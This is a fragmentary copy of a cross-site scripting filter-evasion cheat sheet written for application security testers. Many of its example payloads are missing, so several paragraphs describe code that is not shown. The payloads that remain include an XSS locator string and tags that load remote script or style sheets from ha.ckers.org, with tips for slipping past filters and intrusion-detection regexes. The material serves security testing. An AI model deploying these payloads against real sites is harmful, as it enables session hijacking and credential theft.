<h1> <span class="mw-headline" id="Introduction"> Introduction </span></h1>
<p>This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. 
</p>
<h1> <span class="mw-headline" id="Tests"> Tests </span></h1>
<p>This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. 
</p><p>Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts.
</p>
<h2> <span class="mw-headline" id="XSS_Locator"> XSS Locator </span></h2>
<p>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use this <a rel="nofollow" class="external text" href="http://ha.ckers.org/xsscalc.html">URL encoding calculator</a> to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "&lt;PLAINTEXT&gt;" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:
</p>
<pre>';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//&quot;;
alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//--

Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char&#160;%00is much more useful and helped me bypass certain real world filters with a variation on this example:

<p>This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal:

</p>
<h2> <span class="mw-headline" id="Non-alpha-non-digit_XSS"> Non-alpha-non-digit XSS </span></h2>
<p>The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. 
For example "&lt;SCRIPT\s"&#160;!= "&lt;SCRIPT/XSS\s":
</p>
<pre>&lt;SCRIPT/XSS SRC="<a rel="nofollow" class="external free" href="http://ha.ckers.org/xss.js">http://ha.ckers.org/xss.js</a>"&gt;&lt;/SCRIPT&gt;
</pre>
<p>Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:
</p>
<pre>&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert("XSS")&gt;
</pre>
<p>Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.

<h2> <span class="mw-headline" id="Extraneous_open_brackets"> Extraneous open brackets </span></h2>
<p>Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:

Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:

This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &lt;/SCRIPT&gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.

<h2> <span class="mw-headline" id="Half_open_HTML.2FJavaScript_XSS_vector"> Half open HTML/JavaScript XSS vector </span></h2>
<p>Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close "&gt;" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|&lt;)[^\n]+((\%3E)|&gt;)/ because it doesn't require the end "&gt;". As a side note, this was also affective against a real world XSS filter I came across using an open ended &lt;IFRAME tag instead of an &lt;IMG tag:
</p>

<h3> <span class="mw-headline" id="Remote_style_sheet"> Remote style sheet </span></h3>
<p>(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:
</p>

<p>This works the same as above, but uses a &lt;STYLE&gt; tag instead of a &lt;LINK&gt; tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end &lt;/STYLE&gt; tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:
</p>
<pre>&lt;STYLE&gt;@import'<a rel="nofollow" class="external free" href="http://ha.ckers.org/xss.css'">http://ha.ckers.org/xss.css'</a>;&lt;/STYLE&gt;

<p>This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &lt;<a rel="nofollow" class="external free" href="http://ha.ckers.org/xss.css">http://ha.ckers.org/xss.css</a>&gt;; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:
</p>
<pre>&lt;META HTTP-EQUIV="Link" Content="&lt;<a rel="nofollow" class="external free" href="http://ha.ckers.org/xss.css">http://ha.ckers.org/xss.css</a>&gt;; REL=stylesheet"&gt;

<h2> <span class="mw-headline" id="IMG_Embedded_commands"> IMG Embedded commands </span></h2>
<p>This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:

<h3> <span class="mw-headline" id="IMG_Embedded_commands_part_II"> IMG Embedded commands part II </span></h3>
<p>This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &lt;IMG SRC="<img src="http://badguy.com/a.jpg" alt="a.jpg" />"&gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):

With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):

Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:

<p>Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatinate several keywords by using something like the following "keyword:XSS+RSnake" for instance. This no longer works within Firefox as of 2.0.
